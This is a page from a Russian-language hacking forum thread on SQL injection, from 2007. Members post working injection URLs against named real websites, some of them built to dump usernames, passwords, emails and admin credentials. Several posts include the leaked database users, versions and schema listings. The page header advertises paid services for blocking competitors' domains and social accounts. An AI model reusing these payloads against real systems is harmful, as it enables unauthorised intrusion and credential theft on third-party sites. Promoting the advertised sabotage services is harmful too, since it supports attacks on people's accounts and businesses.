SQL Инъекции — ANTICHAT Forum

FORUMS

MEMBERS

RECENT POSTS

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

Страница 400 из 1602

400

Опции темы

Поиск в этой теме

Опции просмотра

16.12.2007, 00:49

Saint-Sky

Участник форума

Регистрация: 14.07.2007

Сообщений: 108

Провел на форуме:
1888785

Репутация: 305

2 Tyc00n

Попробуй этот запрос:

Код:

http://www2.umaine.edu/graduate/article.php?id=-999'+UNION+SELECT+1,concat(username,0x3a,password),3,4+from+users+limit+0,1/*

16.12.2007, 01:09

MegaBits

Участник форума

Регистрация: 30.08.2006

Сообщений: 181

Провел на форуме:
1058786

Репутация: 45

Код:

http://www.neurope.eu/view_news.php?id=-1+union+select+1,USER(),VERSION(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,DATABASE(),31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80/*

neweuro_kostas@localhost
4.1.22-standard
neweuro_corporate

16.12.2007, 01:23

Saint-Sky

Участник форума

Регистрация: 14.07.2007

Сообщений: 108

Провел на форуме:
1888785

Репутация: 305

Код:

http://wap.freesoft.ru/get_file.wap.wml?id=99999'+UNION+SELECT+1,2,3,4,5/*

get@localhost:get:4.1.14

16.12.2007, 02:14

Ded MustD!e

Members of Antichat - Level 5

Регистрация: 23.08.2007

Сообщений: 417

Провел на форуме:
14324684

Репутация: 3908

http://www.starww.com/

Код:

http://www.starww.com/view_news.asp?id=1+or+1=(SELECT+TOP+1+cast(Email+as+nvarchar)%2B%27%3A%27%2Bcast(UserPass+as+nvarchar)+from+AccountMaster)--

16.12.2007, 12:34

Saint-Sky

Участник форума

Регистрация: 14.07.2007

Сообщений: 108

Провел на форуме:
1888785

Репутация: 305

atlas.cz

Не знаю - было или нет... Доступ из нужных - только к Zabava

Код:

http://wap.atlas.cz/tv.asp?id=-99+UNION+SELECT+name,2+from+master..sysdatabases--

Последний раз редактировалось Saint-Sky; 16.12.2007 в 12:36..

16.12.2007, 17:45

4Dfx

Новичок

Регистрация: 06.12.2007

Сообщений: 11

Провел на форуме:
120052

Репутация: 30

http://www.reusablebags.com/facts.php?id=-1+union+select+1,2,version(),user(),5,6,7/*

16.12.2007, 18:23

Ded MustD!e

Members of Antichat - Level 5

Регистрация: 23.08.2007

Сообщений: 417

Провел на форуме:
14324684

Репутация: 3908

http://www.athletesadvance.com/

Код:

http://www.athletesadvance.com/sample_profile.asp?view_id=1+or+1=(SELECT+TOP+1+cast(login+as+nvarchar)%2B%27%3A%27%2Bcast(password+as+nvarchar)+from+admins+where+admin_id=1)--

16.12.2007, 18:28

4Dfx

Новичок

Регистрация: 06.12.2007

Сообщений: 11

Провел на форуме:
120052

Репутация: 30

http://www.sufficiencyeconomy.org/show.php?Id=-1+union+select+1,2,3,4,5,table_name,7,8,9,10,11,12 ,13,14,15+from+information_schema.tables/* Далее пользуемся лимитом P.S. Интересные таблички - useradmin, member, PROFILING

16.12.2007, 18:47

.Begemot.

Участник форума

Регистрация: 27.03.2007

Сообщений: 161

Провел на форуме:
1273248

Репутация: 785

Код HTML:

http://www.salienagolf.lv/?pane=nxt&lang=1&gid=22&n=1+union+select+0,convert(concat(USER(),VERSION(),DATABASE())+using+latin1),2,3,4,5,6,7,8,9,10,11,12/*

USER:salienagolfcom@localhost
VERSION:4.1.18
DATABASE:salienagolfcom

#10

16.12.2007, 19:01

halkfild

Постоянный

Регистрация: 11.11.2005

Сообщений: 391

Провел на форуме:
7084941

Репутация: 2277

http://www.fllandforsale.biz/email_rep.php?id=4/*'
http://www.fllandforsale.biz/email_rep.php?id=4+and+1=1/*'

http://www.fllandforsale.biz/email_rep.php?id=4+order+by+22/*'

http://fllandforsale.biz/searchRegions.php?pType=3/*
http://fllandforsale.biz/searchRegions.php?pType=3+and+1=1/*
http://fllandforsale.biz/searchRegions.php?pType=3+order+by+1/*

http://fllandforsale.biz/showListing.php?type=property&id=348+and+1/*
http://fllandforsale.biz/showListing.php?type=property&id=348+order+by+4/*

http://www.fllandforsale.biz/email_rep.php?id=-4+union+select+1,2,3,4,5,6,concat_ws(0x3a3a,versio n(),user(),database()),8,9,0,11,12,13,14,15,16,17, 18,19,20,21,22
4.1.20::h7t6Y54@localhost::flland

p.s. версия 4-ка и легким брутом таблици не подобрал, читать тоже прав нет

http://www.epdlp.com/clasica.php?id=397+and+1=1/*'
http://www.epdlp.com/clasica.php?id=397+order+by+14/*'
http://www.epdlp.com/clasica.php?id=397+union+select+1,2,3,4,5,6,7,8,9, 10,11,12,13,14/*'

http://www.epdlp.com/clasica.php?id=397+union+select+1,2,concat_ws(0x3a 3a,version(),user(),database()),4,5,6,7,8,9,10,11, 12,13,14/*'
5.0.45::epdlp@208.109.86.144::epdlp

http://www.epdlp.com/clasica.php?id=397+union+select+1,2,convert(concat _ws(0x3a3a,table_name,column_name)+using+latin1),4 ,5,6,7,8,9,10,11,12,13,14+from+information_schema. columns+where+table_name=''+limit+100,11/*'

clasica::top100
clasica:

bra
clasica::nommusico
clasica::apemusico
clasica::fecha

http://www.epdlp.com/clasica.php?id=397+union+select+1,2,convert(concat _ws(0x3a3a,table_name,column_name)+using+latin1),4 ,5,6,7,8,9,10,11,12,13,14+from+information_schema. columns+where+table_name='clasica'+limit+1,4/*'

texto::apeautor
http://www.epdlp.com/clasica.php?id=397+union+select+1,2,convert(concat _ws(0x3a3a,table_schema,table_name,column_name)+us ing+latin1),4,5,6,7,8,9,10,11,12,13,14+from+inform ation_schema.columns+where+column_name+like+'%mail %'+limit+1,2/*'
http://www.epdlp.com/clasica.php?id=397+union+select+1,2,convert(concat _ws(0x3a3a,table_schema,table_name,column_name)+us ing+latin1),4,5,6,7,8,9,10,11,12,13,14+from+inform ation_schema.columns+where+table_name='felicitacio nes'/*'

felicitaciones
epdlp::felicitaciones::comentario
epdlp::felicitaciones::ID
epdlp::felicitaciones::anio
epdlp::felicitaciones::mes
epdlp::felicitaciones::fecha
epdlp::felicitaciones::dia
epdlp::felicitaciones::hora
epdlp::felicitaciones::email
epdlp::felicitaciones::contenido

p.s. версия 5-ка таблиц много можете поискать что-то)) /*прав читать файлы нет =\*/